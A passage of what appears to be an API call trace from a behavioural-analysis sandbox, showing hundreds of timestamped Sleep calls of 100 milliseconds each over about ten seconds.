(dwMilliseconds=0x64) [0199.972] Sleep (dwMilliseconds=0x64) [0199.988] Sleep (dwMilliseconds=0x64) [0200.004] Sleep (dwMilliseconds=0x64) [0200.019] Sleep (dwMilliseconds=0x64) [0200.035] Sleep (dwMilliseconds=0x64) [0200.050] Sleep (dwMilliseconds=0x64) [0200.066] Sleep (dwMilliseconds=0x64) [0200.082] Sleep (dwMilliseconds=0x64) [0200.097] Sleep (dwMilliseconds=0x64) [0200.126] Sleep (dwMilliseconds=0x64) [0200.129] Sleep (dwMilliseconds=0x64) [0200.144] Sleep (dwMilliseconds=0x64) [0200.160] Sleep (dwMilliseconds=0x64) [0200.175] Sleep (dwMilliseconds=0x64) [0200.191] Sleep (dwMilliseconds=0x64) [0200.206] Sleep (dwMilliseconds=0x64) [0200.222] Sleep (dwMilliseconds=0x64) [0200.238] Sleep (dwMilliseconds=0x64) [0200.253] Sleep (dwMilliseconds=0x64) [0200.269] Sleep (dwMilliseconds=0x64) [0200.285] Sleep (dwMilliseconds=0x64) [0200.300] Sleep (dwMilliseconds=0x64) [0200.316] Sleep (dwMilliseconds=0x64) [0200.341] Sleep (dwMilliseconds=0x64) [0200.347] Sleep (dwMilliseconds=0x64) [0200.362] Sleep (dwMilliseconds=0x64) [0200.378] Sleep (dwMilliseconds=0x64) [0200.394] Sleep (dwMilliseconds=0x64) [0200.410] Sleep (dwMilliseconds=0x64) [0200.425] Sleep (dwMilliseconds=0x64) [0200.441] Sleep (dwMilliseconds=0x64) [0200.456] Sleep (dwMilliseconds=0x64) [0200.472] Sleep (dwMilliseconds=0x64) [0200.487] Sleep (dwMilliseconds=0x64) [0200.503] Sleep (dwMilliseconds=0x64) [0200.518] Sleep (dwMilliseconds=0x64) [0200.534] Sleep (dwMilliseconds=0x64) [0200.550] Sleep (dwMilliseconds=0x64) [0200.565] Sleep (dwMilliseconds=0x64) [0200.581] Sleep (dwMilliseconds=0x64) [0200.596] Sleep (dwMilliseconds=0x64) [0200.612] Sleep (dwMilliseconds=0x64) [0200.628] Sleep (dwMilliseconds=0x64) [0200.643] Sleep (dwMilliseconds=0x64) [0200.659] Sleep (dwMilliseconds=0x64) [0200.674] Sleep (dwMilliseconds=0x64) [0200.690] Sleep (dwMilliseconds=0x64) [0200.706] Sleep (dwMilliseconds=0x64) [0200.721] Sleep (dwMilliseconds=0x64) [0200.737] Sleep (dwMilliseconds=0x64) [0200.753] Sleep (dwMilliseconds=0x64) [0200.768] Sleep (dwMilliseconds=0x64) [0200.785] Sleep (dwMilliseconds=0x64) [0200.799] Sleep (dwMilliseconds=0x64) [0200.815] Sleep (dwMilliseconds=0x64) [0200.831] Sleep (dwMilliseconds=0x64) [0200.846] Sleep (dwMilliseconds=0x64) [0200.862] Sleep (dwMilliseconds=0x64) [0200.878] Sleep (dwMilliseconds=0x64) [0200.893] Sleep (dwMilliseconds=0x64) [0200.908] Sleep (dwMilliseconds=0x64) [0200.929] Sleep (dwMilliseconds=0x64) [0200.942] Sleep (dwMilliseconds=0x64) [0200.955] Sleep (dwMilliseconds=0x64) [0200.971] Sleep (dwMilliseconds=0x64) [0200.986] Sleep (dwMilliseconds=0x64) [0201.003] Sleep (dwMilliseconds=0x64) [0201.018] Sleep (dwMilliseconds=0x64) [0201.033] Sleep (dwMilliseconds=0x64) [0201.049] Sleep (dwMilliseconds=0x64) [0201.065] Sleep (dwMilliseconds=0x64) [0201.081] Sleep (dwMilliseconds=0x64) [0201.096] Sleep (dwMilliseconds=0x64) [0201.112] Sleep (dwMilliseconds=0x64) [0201.127] Sleep (dwMilliseconds=0x64) [0201.142] Sleep (dwMilliseconds=0x64) [0201.158] Sleep (dwMilliseconds=0x64) [0201.173] Sleep (dwMilliseconds=0x64) [0201.189] Sleep (dwMilliseconds=0x64) [0201.205] Sleep (dwMilliseconds=0x64) [0201.221] Sleep (dwMilliseconds=0x64) [0201.236] Sleep (dwMilliseconds=0x64) [0201.252] Sleep (dwMilliseconds=0x64) [0201.268] Sleep (dwMilliseconds=0x64) [0201.284] Sleep (dwMilliseconds=0x64) [0201.298] Sleep (dwMilliseconds=0x64) [0201.314] Sleep (dwMilliseconds=0x64) [0201.339] Sleep (dwMilliseconds=0x64) [0201.345] Sleep (dwMilliseconds=0x64) [0201.361] Sleep (dwMilliseconds=0x64) [0201.377] Sleep (dwMilliseconds=0x64) [0201.394] Sleep (dwMilliseconds=0x64) [0201.408] Sleep (dwMilliseconds=0x64) [0201.424] Sleep (dwMilliseconds=0x64) [0201.439] Sleep (dwMilliseconds=0x64) [0201.456] Sleep (dwMilliseconds=0x64) [0201.471] Sleep (dwMilliseconds=0x64) [0201.488] Sleep (dwMilliseconds=0x64) [0201.502] Sleep (dwMilliseconds=0x64) [0201.517] Sleep (dwMilliseconds=0x64) [0201.532] Sleep (dwMilliseconds=0x64) [0201.548] Sleep (dwMilliseconds=0x64) [0201.564] Sleep (dwMilliseconds=0x64) [0201.579] Sleep (dwMilliseconds=0x64) [0201.595] Sleep (dwMilliseconds=0x64) [0201.610] Sleep (dwMilliseconds=0x64) [0201.626] Sleep (dwMilliseconds=0x64) [0201.642] Sleep (dwMilliseconds=0x64) [0201.657] Sleep (dwMilliseconds=0x64) [0201.673] Sleep (dwMilliseconds=0x64) [0201.689] Sleep (dwMilliseconds=0x64) [0201.704] Sleep (dwMilliseconds=0x64) [0201.720] Sleep (dwMilliseconds=0x64) [0201.735] Sleep (dwMilliseconds=0x64) [0201.753] Sleep (dwMilliseconds=0x64) [0201.766] Sleep (dwMilliseconds=0x64) [0201.782] Sleep (dwMilliseconds=0x64) [0201.798] Sleep (dwMilliseconds=0x64) [0201.814] Sleep (dwMilliseconds=0x64) [0201.829] Sleep (dwMilliseconds=0x64) [0201.844] Sleep (dwMilliseconds=0x64) [0201.864] Sleep (dwMilliseconds=0x64) [0201.876] Sleep (dwMilliseconds=0x64) [0201.892] Sleep (dwMilliseconds=0x64) [0201.907] Sleep (dwMilliseconds=0x64) [0201.923] Sleep (dwMilliseconds=0x64) [0201.946] Sleep (dwMilliseconds=0x64) [0201.954] Sleep (dwMilliseconds=0x64) [0201.969] Sleep (dwMilliseconds=0x64) [0201.985] Sleep (dwMilliseconds=0x64) [0202.001] Sleep (dwMilliseconds=0x64) [0202.016] Sleep (dwMilliseconds=0x64) [0202.032] Sleep (dwMilliseconds=0x64) [0202.048] Sleep (dwMilliseconds=0x64) [0202.063] Sleep (dwMilliseconds=0x64) [0202.078] Sleep (dwMilliseconds=0x64) [0202.094] Sleep (dwMilliseconds=0x64) [0202.110] Sleep (dwMilliseconds=0x64) [0202.138] Sleep (dwMilliseconds=0x64) [0202.141] Sleep (dwMilliseconds=0x64) [0202.156] Sleep (dwMilliseconds=0x64) [0202.172] Sleep (dwMilliseconds=0x64) [0202.188] Sleep (dwMilliseconds=0x64) [0202.203] Sleep (dwMilliseconds=0x64) [0202.219] Sleep (dwMilliseconds=0x64) [0202.234] Sleep (dwMilliseconds=0x64) [0202.250] Sleep (dwMilliseconds=0x64) [0202.266] Sleep (dwMilliseconds=0x64) [0202.281] Sleep (dwMilliseconds=0x64) [0202.300] Sleep (dwMilliseconds=0x64) [0202.313] Sleep (dwMilliseconds=0x64) [0202.336] Sleep (dwMilliseconds=0x64) [0202.344] Sleep (dwMilliseconds=0x64) [0202.360] Sleep (dwMilliseconds=0x64) [0202.375] Sleep (dwMilliseconds=0x64) [0202.390] Sleep (dwMilliseconds=0x64) [0202.406] Sleep (dwMilliseconds=0x64) [0202.422] Sleep (dwMilliseconds=0x64) [0202.438] Sleep (dwMilliseconds=0x64) [0202.453] Sleep (dwMilliseconds=0x64) [0202.469] Sleep (dwMilliseconds=0x64) [0202.484] Sleep (dwMilliseconds=0x64) [0202.500] Sleep (dwMilliseconds=0x64) [0202.515] Sleep (dwMilliseconds=0x64) [0202.532] Sleep (dwMilliseconds=0x64) [0202.546] Sleep (dwMilliseconds=0x64) [0202.562] Sleep (dwMilliseconds=0x64) [0202.580] Sleep (dwMilliseconds=0x64) [0202.593] Sleep (dwMilliseconds=0x64) [0202.609] Sleep (dwMilliseconds=0x64) [0202.625] Sleep (dwMilliseconds=0x64) [0202.640] Sleep (dwMilliseconds=0x64) [0202.656] Sleep (dwMilliseconds=0x64) [0202.671] Sleep (dwMilliseconds=0x64) [0202.687] Sleep (dwMilliseconds=0x64) [0202.702] Sleep (dwMilliseconds=0x64) [0202.718] Sleep (dwMilliseconds=0x64) [0202.734] Sleep (dwMilliseconds=0x64) [0202.749] Sleep (dwMilliseconds=0x64) [0202.765] Sleep (dwMilliseconds=0x64) [0202.780] Sleep (dwMilliseconds=0x64) [0202.796] Sleep (dwMilliseconds=0x64) [0202.812] Sleep (dwMilliseconds=0x64) [0202.827] Sleep (dwMilliseconds=0x64) [0202.843] Sleep (dwMilliseconds=0x64) [0202.858] Sleep (dwMilliseconds=0x64) [0202.874] Sleep (dwMilliseconds=0x64) [0202.890] Sleep (dwMilliseconds=0x64) [0202.906] Sleep (dwMilliseconds=0x64) [0202.921] Sleep (dwMilliseconds=0x64) [0202.942] Sleep (dwMilliseconds=0x64) [0202.956] Sleep (dwMilliseconds=0x64) [0202.968] Sleep (dwMilliseconds=0x64) [0202.983] Sleep (dwMilliseconds=0x64) [0202.999] Sleep (dwMilliseconds=0x64) [0203.015] Sleep (dwMilliseconds=0x64) [0203.030] Sleep (dwMilliseconds=0x64) [0203.046] Sleep (dwMilliseconds=0x64) [0203.062] Sleep (dwMilliseconds=0x64) [0203.077] Sleep (dwMilliseconds=0x64) [0203.094] Sleep (dwMilliseconds=0x64) [0203.108] Sleep (dwMilliseconds=0x64) [0203.124] Sleep (dwMilliseconds=0x64) [0203.153] Sleep (dwMilliseconds=0x64) [0203.156] Sleep (dwMilliseconds=0x64) [0203.170] Sleep (dwMilliseconds=0x64) [0203.186] Sleep (dwMilliseconds=0x64) [0203.202] Sleep (dwMilliseconds=0x64) [0203.217] Sleep (dwMilliseconds=0x64) [0203.233] Sleep (dwMilliseconds=0x64) [0203.249] Sleep (dwMilliseconds=0x64) [0203.264] Sleep (dwMilliseconds=0x64) [0203.280] Sleep (dwMilliseconds=0x64) [0203.295] Sleep (dwMilliseconds=0x64) [0203.311] Sleep (dwMilliseconds=0x64) [0203.327] Sleep (dwMilliseconds=0x64) [0203.350] Sleep (dwMilliseconds=0x64) [0203.358] Sleep (dwMilliseconds=0x64) [0203.373] Sleep (dwMilliseconds=0x64) [0203.391] Sleep (dwMilliseconds=0x64) [0203.405] Sleep (dwMilliseconds=0x64) [0203.421] Sleep (dwMilliseconds=0x64) [0203.436] Sleep (dwMilliseconds=0x64) [0203.451] Sleep (dwMilliseconds=0x64) [0203.467] Sleep (dwMilliseconds=0x64) [0203.482] Sleep (dwMilliseconds=0x64) [0203.498] Sleep (dwMilliseconds=0x64) [0203.514] Sleep (dwMilliseconds=0x64) [0203.529] Sleep (dwMilliseconds=0x64) [0203.547] Sleep (dwMilliseconds=0x64) [0203.561] Sleep (dwMilliseconds=0x64) [0203.576] Sleep (dwMilliseconds=0x64) [0203.592] Sleep (dwMilliseconds=0x64) [0203.607] Sleep (dwMilliseconds=0x64) [0203.623] Sleep (dwMilliseconds=0x64) [0203.638] Sleep (dwMilliseconds=0x64) [0203.654] Sleep (dwMilliseconds=0x64) [0203.670] Sleep (dwMilliseconds=0x64) [0203.685] Sleep (dwMilliseconds=0x64) [0203.701] Sleep (dwMilliseconds=0x64) [0203.716] Sleep (dwMilliseconds=0x64) [0203.732] Sleep (dwMilliseconds=0x64) [0203.748] Sleep (dwMilliseconds=0x64) [0203.776] Sleep (dwMilliseconds=0x64) [0203.779] Sleep (dwMilliseconds=0x64) [0203.794] Sleep (dwMilliseconds=0x64) [0203.810] Sleep (dwMilliseconds=0x64) [0203.826] Sleep (dwMilliseconds=0x64) [0203.841] Sleep (dwMilliseconds=0x64) [0203.857] Sleep (dwMilliseconds=0x64) [0203.873] Sleep (dwMilliseconds=0x64) [0203.890] Sleep (dwMilliseconds=0x64) [0203.904] Sleep (dwMilliseconds=0x64) [0203.920] Sleep (dwMilliseconds=0x64) [0203.936] Sleep (dwMilliseconds=0x64) [0203.950] Sleep (dwMilliseconds=0x64) [0203.972] Sleep (dwMilliseconds=0x64) [0203.982] Sleep (dwMilliseconds=0x64) [0203.998] Sleep (dwMilliseconds=0x64) [0204.013] Sleep (dwMilliseconds=0x64) [0204.028] Sleep (dwMilliseconds=0x64) [0204.044] Sleep (dwMilliseconds=0x64) [0204.060] Sleep (dwMilliseconds=0x64) [0204.075] Sleep (dwMilliseconds=0x64) [0204.091] Sleep (dwMilliseconds=0x64) [0204.107] Sleep (dwMilliseconds=0x64) [0204.123] Sleep (dwMilliseconds=0x64) [0204.138] Sleep (dwMilliseconds=0x64) [0204.166] Sleep (dwMilliseconds=0x64) [0204.169] Sleep (dwMilliseconds=0x64) [0204.185] Sleep (dwMilliseconds=0x64) [0204.200] Sleep (dwMilliseconds=0x64) [0204.216] Sleep (dwMilliseconds=0x64) [0204.231] Sleep (dwMilliseconds=0x64) [0204.249] Sleep (dwMilliseconds=0x64) [0204.263] Sleep (dwMilliseconds=0x64) [0204.278] Sleep (dwMilliseconds=0x64) [0204.294] Sleep (dwMilliseconds=0x64) [0204.309] Sleep (dwMilliseconds=0x64) [0204.325] Sleep (dwMilliseconds=0x64) [0204.348] Sleep (dwMilliseconds=0x64) [0204.356] Sleep (dwMilliseconds=0x64) [0204.372] Sleep (dwMilliseconds=0x64) [0204.387] Sleep (dwMilliseconds=0x64) [0204.403] Sleep (dwMilliseconds=0x64) [0204.419] Sleep (dwMilliseconds=0x64) [0204.435] Sleep (dwMilliseconds=0x64) [0204.450] Sleep (dwMilliseconds=0x64) [0204.465] Sleep (dwMilliseconds=0x64) [0204.481] Sleep (dwMilliseconds=0x64) [0204.497] Sleep (dwMilliseconds=0x64) [0204.512] Sleep (dwMilliseconds=0x64) [0204.528] Sleep (dwMilliseconds=0x64) [0204.544] Sleep (dwMilliseconds=0x64) [0204.559] Sleep (dwMilliseconds=0x64) [0204.574] Sleep (dwMilliseconds=0x64) [0204.590] Sleep (dwMilliseconds=0x64) [0204.606] Sleep (dwMilliseconds=0x64) [0204.621] Sleep (dwMilliseconds=0x64) [0204.637] Sleep (dwMilliseconds=0x64) [0204.654] Sleep (dwMilliseconds=0x64) [0204.668] Sleep (dwMilliseconds=0x64) [0204.684] Sleep (dwMilliseconds=0x64) [0204.699] Sleep (dwMilliseconds=0x64) [0204.717] Sleep (dwMilliseconds=0x64) [0204.731] Sleep (dwMilliseconds=0x64) [0204.746] Sleep (dwMilliseconds=0x64) [0204.762] Sleep (dwMilliseconds=0x64) [0204.777] Sleep (dwMilliseconds=0x64) [0204.796] Sleep (dwMilliseconds=0x64) [0204.809] Sleep (dwMilliseconds=0x64) [0204.824] Sleep (dwMilliseconds=0x64) [0204.840] Sleep (dwMilliseconds=0x64) [0204.855] Sleep (dwMilliseconds=0x64) [0204.871] Sleep (dwMilliseconds=0x64) [0204.886] Sleep (dwMilliseconds=0x64) [0204.902] Sleep (dwMilliseconds=0x64) [0204.918] Sleep (dwMilliseconds=0x64) [0204.934] Sleep (dwMilliseconds=0x64) [0204.949] Sleep (dwMilliseconds=0x64) [0204.967] Sleep (dwMilliseconds=0x64) [0204.985] Sleep (dwMilliseconds=0x64) [0204.996] Sleep (dwMilliseconds=0x64) [0205.011] Sleep (dwMilliseconds=0x64) [0205.027] Sleep (dwMilliseconds=0x64) [0205.042] Sleep (dwMilliseconds=0x64) [0205.058] Sleep (dwMilliseconds=0x64) [0205.074] Sleep (dwMilliseconds=0x64) [0205.089] Sleep (dwMilliseconds=0x64) [0205.105] Sleep (dwMilliseconds=0x64) [0205.121] Sleep (dwMilliseconds=0x64) [0205.136] Sleep (dwMilliseconds=0x64) [0205.152] Sleep (dwMilliseconds=0x64) [0205.181] Sleep (dwMilliseconds=0x64) [0205.183] Sleep (dwMilliseconds=0x64) [0205.199] Sleep (dwMilliseconds=0x64) [0205.214] Sleep (dwMilliseconds=0x64) [0205.229] Sleep (dwMilliseconds=0x64) [0205.245] Sleep (dwMilliseconds=0x64) [0205.261] Sleep (dwMilliseconds=0x64) [0205.276] Sleep (dwMilliseconds=0x64) [0205.292] Sleep (dwMilliseconds=0x64) [0205.309] Sleep (dwMilliseconds=0x64) [0205.323] Sleep (dwMilliseconds=0x64) [0205.345] Sleep (dwMilliseconds=0x64) [0205.354] Sleep (dwMilliseconds=0x64) [0205.370] Sleep (dwMilliseconds=0x64) [0205.387] Sleep (dwMilliseconds=0x64) [0205.401] Sleep (dwMilliseconds=0x64) [0205.417] Sleep (dwMilliseconds=0x64) [0205.433] Sleep (dwMilliseconds=0x64) [0205.448] Sleep (dwMilliseconds=0x64) [0205.464] Sleep (dwMilliseconds=0x64) [0205.479] Sleep (dwMilliseconds=0x64) [0205.495] Sleep (dwMilliseconds=0x64) [0205.510] Sleep (dwMilliseconds=0x64) [0205.526] Sleep (dwMilliseconds=0x64) [0205.542] Sleep (dwMilliseconds=0x64) [0205.557] Sleep (dwMilliseconds=0x64) [0205.573] Sleep (dwMilliseconds=0x64) [0205.589] Sleep (dwMilliseconds=0x64) [0205.605] Sleep (dwMilliseconds=0x64) [0205.620] Sleep (dwMilliseconds=0x64) [0205.636] Sleep (dwMilliseconds=0x64) [0205.651] Sleep (dwMilliseconds=0x64) [0205.667] Sleep (dwMilliseconds=0x64) [0205.682] Sleep (dwMilliseconds=0x64) [0205.698] Sleep (dwMilliseconds=0x64) [0205.715] Sleep (dwMilliseconds=0x64) [0205.729] Sleep (dwMilliseconds=0x64) [0205.745] Sleep (dwMilliseconds=0x64) [0205.760] Sleep (dwMilliseconds=0x64) [0205.778] Sleep (dwMilliseconds=0x64) [0205.791] Sleep (dwMilliseconds=0x64) [0205.807] Sleep (dwMilliseconds=0x64) [0205.822] Sleep (dwMilliseconds=0x64) [0205.838] Sleep (dwMilliseconds=0x64) [0205.854] Sleep (dwMilliseconds=0x64) [0205.872] Sleep (dwMilliseconds=0x64) [0205.885] Sleep (dwMilliseconds=0x64) [0205.900] Sleep (dwMilliseconds=0x64) [0205.916] Sleep (dwMilliseconds=0x64) [0205.932] Sleep (dwMilliseconds=0x64) [0205.948] Sleep (dwMilliseconds=0x64) [0205.963] Sleep (dwMilliseconds=0x64) [0205.978] Sleep (dwMilliseconds=0x64) [0206.000] Sleep (dwMilliseconds=0x64) [0206.010] Sleep (dwMilliseconds=0x64) [0206.025] Sleep (dwMilliseconds=0x64) [0206.041] Sleep (dwMilliseconds=0x64) [0206.057] Sleep (dwMilliseconds=0x64) [0206.072] Sleep (dwMilliseconds=0x64) [0206.088] Sleep (dwMilliseconds=0x64) [0206.103] Sleep (dwMilliseconds=0x64) [0206.121] Sleep (dwMilliseconds=0x64) [0206.134] Sleep (dwMilliseconds=0x64) [0206.150] Sleep (dwMilliseconds=0x64) [0206.166] Sleep (dwMilliseconds=0x64) [0206.194] Sleep (dwMilliseconds=0x64) [0206.197] Sleep (dwMilliseconds=0x64) [0206.212] Sleep (dwMilliseconds=0x64) [0206.230] Sleep (dwMilliseconds=0x64) [0206.244] Sleep (dwMilliseconds=0x64) [0206.259] Sleep (dwMilliseconds=0x64) [0206.275] Sleep (dwMilliseconds=0x64) [0206.290] Sleep (dwMilliseconds=0x64) [0206.307] Sleep (dwMilliseconds=0x64) [0206.322] Sleep (dwMilliseconds=0x64) [0206.348] Sleep (dwMilliseconds=0x64) [0206.353] Sleep (dwMilliseconds=0x64) [0206.368] Sleep (dwMilliseconds=0x64) [0206.384] Sleep (dwMilliseconds=0x64) [0206.400] Sleep (dwMilliseconds=0x64) [0206.416] Sleep (dwMilliseconds=0x64) [0206.433] Sleep (dwMilliseconds=0x64) [0206.446] Sleep (dwMilliseconds=0x64) [0206.463] Sleep (dwMilliseconds=0x64) [0206.478] Sleep (dwMilliseconds=0x64) [0206.494] Sleep (dwMilliseconds=0x64) [0206.509] Sleep (dwMilliseconds=0x64) [0206.526] Sleep (dwMilliseconds=0x64) [0206.540] Sleep (dwMilliseconds=0x64) [0206.559] Sleep (dwMilliseconds=0x64) [0206.571] Sleep (dwMilliseconds=0x64) [0206.587] Sleep (dwMilliseconds=0x64) [0206.603] Sleep (dwMilliseconds=0x64) [0206.618] Sleep (dwMilliseconds=0x64) [0206.634] Sleep (dwMilliseconds=0x64) [0206.649] Sleep (dwMilliseconds=0x64) [0206.665] Sleep (dwMilliseconds=0x64) [0206.681] Sleep (dwMilliseconds=0x64) [0206.696] Sleep (dwMilliseconds=0x64) [0206.712] Sleep (dwMilliseconds=0x64) [0206.727] Sleep (dwMilliseconds=0x64) [0206.743] Sleep (dwMilliseconds=0x64) [0206.759] Sleep (dwMilliseconds=0x64) [0206.775] Sleep (dwMilliseconds=0x64) [0206.790] Sleep (dwMilliseconds=0x64) [0206.805] Sleep (dwMilliseconds=0x64) [0206.821] Sleep (dwMilliseconds=0x64) [0206.836] Sleep (dwMilliseconds=0x64) [0206.852] Sleep (dwMilliseconds=0x64) [0206.868] Sleep (dwMilliseconds=0x64) [0206.883] Sleep (dwMilliseconds=0x64) [0206.903] Sleep (dwMilliseconds=0x64) [0206.914] Sleep (dwMilliseconds=0x64) [0206.931] Sleep (dwMilliseconds=0x64) [0206.946] Sleep (dwMilliseconds=0x64) [0206.962] Sleep (dwMilliseconds=0x64) [0206.977] Sleep (dwMilliseconds=0x64) [0206.993] Sleep (dwMilliseconds=0x64) [0207.016] Sleep (dwMilliseconds=0x64) [0207.026] Sleep (dwMilliseconds=0x64) [0207.039] Sleep (dwMilliseconds=0x64) [0207.055] Sleep (dwMilliseconds=0x64) [0207.070] Sleep (dwMilliseconds=0x64) [0207.086] Sleep (dwMilliseconds=0x64) [0207.102] Sleep (dwMilliseconds=0x64) [0207.118] Sleep (dwMilliseconds=0x64) [0207.133] Sleep (dwMilliseconds=0x64) [0207.148] Sleep (dwMilliseconds=0x64) [0207.164] Sleep (dwMilliseconds=0x64) [0207.180] Sleep (dwMilliseconds=0x64) [0207.207] Sleep (dwMilliseconds=0x64) [0207.211] Sleep (dwMilliseconds=0x64) [0207.226] Sleep (dwMilliseconds=0x64) [0207.242] Sleep (dwMilliseconds=0x64) [0207.257] Sleep (dwMilliseconds=0x64) [0207.273] Sleep (dwMilliseconds=0x64) [0207.289] Sleep (dwMilliseconds=0x64) [0207.306] Sleep (dwMilliseconds=0x64) [0207.320] Sleep (dwMilliseconds=0x64) [0207.340] Sleep (dwMilliseconds=0x64) [0207.351] Sleep (dwMilliseconds=0x64) [0207.367] Sleep (dwMilliseconds=0x64) [0207.383] Sleep (dwMilliseconds=0x64) [0207.398] Sleep (dwMilliseconds=0x64) [0207.414] Sleep (dwMilliseconds=0x64) [0207.429] Sleep (dwMilliseconds=0x64) [0207.445] Sleep (dwMilliseconds=0x64) [0207.460] Sleep (dwMilliseconds=0x64) [0207.476] Sleep (dwMilliseconds=0x64) [0207.492] Sleep (dwMilliseconds=0x64) [0207.507] Sleep (dwMilliseconds=0x64) [0207.523] Sleep (dwMilliseconds=0x64) [0207.541] Sleep (dwMilliseconds=0x64) [0207.554] Sleep (dwMilliseconds=0x64) [0207.570] Sleep (dwMilliseconds=0x64) [0207.585] Sleep (dwMilliseconds=0x64) [0207.601] Sleep (dwMilliseconds=0x64) [0207.617] Sleep (dwMilliseconds=0x64) [0207.632] Sleep (dwMilliseconds=0x64) [0207.648] Sleep (dwMilliseconds=0x64) [0207.663] Sleep (dwMilliseconds=0x64) [0207.679] Sleep (dwMilliseconds=0x64) [0207.695] Sleep (dwMilliseconds=0x64) [0207.710] Sleep (dwMilliseconds=0x64) [0207.726] Sleep (dwMilliseconds=0x64) [0207.742] Sleep (dwMilliseconds=0x64) [0207.757] Sleep (dwMilliseconds=0x64) [0207.775] Sleep (dwMilliseconds=0x64) [0207.800] Sleep (dwMilliseconds=0x64) [0207.804] Sleep (dwMilliseconds=0x64) [0207.819] Sleep (dwMilliseconds=0x64) [0207.835] Sleep (dwMilliseconds=0x64) [0207.853] Sleep (dwMilliseconds=0x64) [0207.866] Sleep (dwMilliseconds=0x64) [0207.882] Sleep (dwMilliseconds=0x64) [0207.897] Sleep (dwMilliseconds=0x64) [0207.913] Sleep (dwMilliseconds=0x64) [0207.929] Sleep (dwMilliseconds=0x64) [0207.944] Sleep (dwMilliseconds=0x64) [0207.960] Sleep (dwMilliseconds=0x64) [0207.976] Sleep (dwMilliseconds=0x64) [0207.991] Sleep (dwMilliseconds=0x64) [0208.006] Sleep (dwMilliseconds=0x64) [0208.028] Sleep (dwMilliseconds=0x64) [0208.038] Sleep (dwMilliseconds=0x64) [0208.054] Sleep (dwMilliseconds=0x64) [0208.069] Sleep (dwMilliseconds=0x64) [0208.084] Sleep (dwMilliseconds=0x64) [0208.100] Sleep (dwMilliseconds=0x64) [0208.116] Sleep (dwMilliseconds=0x64) [0208.131] Sleep (dwMilliseconds=0x64) [0208.147] Sleep (dwMilliseconds=0x64) [0208.164] Sleep (dwMilliseconds=0x64) [0208.178] Sleep (dwMilliseconds=0x64) [0208.194] Sleep (dwMilliseconds=0x64) [0208.223] Sleep (dwMilliseconds=0x64) [0208.225] Sleep (dwMilliseconds=0x64) [0208.240] Sleep (dwMilliseconds=0x64) [0208.257] Sleep (dwMilliseconds=0x64) [0208.272] Sleep (dwMilliseconds=0x64) [0208.287] Sleep (dwMilliseconds=0x64) [0208.303] Sleep (dwMilliseconds=0x64) [0208.318] Sleep (dwMilliseconds=0x64) [0208.344] Sleep (dwMilliseconds=0x64) [0208.350] Sleep (dwMilliseconds=0x64) [0208.366] Sleep (dwMilliseconds=0x64) [0208.381] Sleep (dwMilliseconds=0x64) [0208.396] Sleep (dwMilliseconds=0x64) [0208.412] Sleep (dwMilliseconds=0x64) [0208.428] Sleep (dwMilliseconds=0x64) [0208.443] Sleep (dwMilliseconds=0x64) [0208.459] Sleep (dwMilliseconds=0x64) [0208.474] Sleep (dwMilliseconds=0x64) [0208.490] Sleep (dwMilliseconds=0x64) [0208.506] Sleep (dwMilliseconds=0x64) [0208.521] Sleep (dwMilliseconds=0x64) [0208.537] Sleep (dwMilliseconds=0x64) [0208.553] Sleep (dwMilliseconds=0x64) [0208.568] Sleep (dwMilliseconds=0x64) [0208.584] Sleep (dwMilliseconds=0x64) [0208.599] Sleep (dwMilliseconds=0x64) [0208.615] Sleep (dwMilliseconds=0x64) [0208.630] Sleep (dwMilliseconds=0x64) [0208.646] Sleep (dwMilliseconds=0x64) [0208.662] Sleep (dwMilliseconds=0x64) [0208.677] Sleep (dwMilliseconds=0x64) [0208.696] Sleep (dwMilliseconds=0x64) [0208.709] Sleep (dwMilliseconds=0x64) [0208.724] Sleep (dwMilliseconds=0x64) [0208.740] Sleep (dwMilliseconds=0x64) [0208.755] Sleep (dwMilliseconds=0x64) [0208.771] Sleep (dwMilliseconds=0x64) [0208.786] Sleep (dwMilliseconds=0x64) [0208.802] Sleep (dwMilliseconds=0x64) [0208.818] Sleep (dwMilliseconds=0x64) [0208.833] Sleep (dwMilliseconds=0x64) [0208.849] Sleep (dwMilliseconds=0x64) [0208.865] Sleep (dwMilliseconds=0x64) [0208.880] Sleep (dwMilliseconds=0x64) [0208.896] Sleep (dwMilliseconds=0x64) [0208.911] Sleep (dwMilliseconds=0x64) [0208.928] Sleep (dwMilliseconds=0x64) [0208.950] Sleep (dwMilliseconds=0x64) [0208.958] Sleep (dwMilliseconds=0x64) [0208.974] Sleep (dwMilliseconds=0x64) [0208.990] Sleep (dwMilliseconds=0x64) [0209.005] Sleep (dwMilliseconds=0x64) [0209.020] Sleep (dwMilliseconds=0x64) [0209.042] Sleep (dwMilliseconds=0x64) [0209.052] Sleep (dwMilliseconds=0x64) [0209.067] Sleep (dwMilliseconds=0x64) [0209.083] Sleep (dwMilliseconds=0x64) [0209.098] Sleep (dwMilliseconds=0x64) [0209.114] Sleep (dwMilliseconds=0x64) [0209.130] Sleep (dwMilliseconds=0x64) [0209.145] Sleep (dwMilliseconds=0x64) [0209.161] Sleep (dwMilliseconds=0x64) [0209.177] Sleep (dwMilliseconds=0x64) [0209.192] Sleep (dwMilliseconds=0x64) [0209.208] Sleep (dwMilliseconds=0x64) [0209.237] Sleep (dwMilliseconds=0x64) [0209.239] Sleep (dwMilliseconds=0x64) [0209.254] Sleep (dwMilliseconds=0x64) [0209.270] Sleep (dwMilliseconds=0x64) [0209.286] Sleep (dwMilliseconds=0x64) [0209.301] Sleep (dwMilliseconds=0x64) [0209.317] Sleep (dwMilliseconds=0x64) [0209.339] Sleep (dwMilliseconds=0x64) [0209.348] Sleep (dwMilliseconds=0x64) [0209.364] Sleep (dwMilliseconds=0x64) [0209.380] Sleep (dwMilliseconds=0x64) [0209.395] Sleep (dwMilliseconds=0x64) [0209.410] Sleep (dwMilliseconds=0x64) [0209.427] Sleep (dwMilliseconds=0x64) [0209.442] Sleep (dwMilliseconds=0x64) [0209.457] Sleep (dwMilliseconds=0x64) [0209.473] Sleep (dwMilliseconds=0x64) [0209.491] Sleep (dwMilliseconds=0x64) [0209.504] Sleep (dwMilliseconds=0x64) [0209.521] Sleep (dwMilliseconds=0x64) [0209.535] Sleep (dwMilliseconds=0x64) [0209.552] Sleep (dwMilliseconds=0x64) [0209.566] Sleep (dwMilliseconds=0x64) [0209.584] Sleep (dwMilliseconds=0x64) [0209.598] Sleep (dwMilliseconds=0x64) [0209.613] Sleep (dwMilliseconds=0x64) [0209.629] Sleep (dwMilliseconds=0x64) [0209.644] Sleep (dwMilliseconds=0x64) [0209.661] Sleep (dwMilliseconds=0x64) [0209.676] Sleep (dwMilliseconds=0x64) [0209.691] Sleep (dwMilliseconds=0x64) [0209.707] 